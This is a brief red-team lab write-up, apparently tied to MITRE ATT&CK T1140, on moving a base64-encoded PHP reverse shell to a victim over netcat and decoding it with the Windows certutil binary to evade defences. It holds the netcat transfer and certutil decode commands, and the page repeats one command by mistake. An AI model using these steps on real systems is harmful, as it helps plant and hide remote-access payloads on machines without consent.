Encode/Decode Data with Certutil

Defense Evasion

In this lab I will transfer a base64 encoded php reverse shell from my attacking machine to the victim machine via netcat and decode the data on the victim system using a native windows binary certutil.

Execution

Preview of the content to be encoded on the attacking system:

Sending the above shell as a base64 encoded string to the victim system (victim is listening and waiting for the file with nc -l 4444 > enc):

attacker@local

base64 < shell.php.gif | nc 10.0.0.2 4444

Once the file is received on the victim, let's check its contents:

attacker@victim

certutil.exe -decode .\enc dec

Let's decode the data:

attacker@victim

certutil.exe -decode .\enc dec

Let's have a look at the contents of the file dec which now contains the base64 decoded shell:

References

Deobfuscate/Decode Files or Information, Technique T1140 - Enterprise | MITRE ATT&CK®attack.mitre.org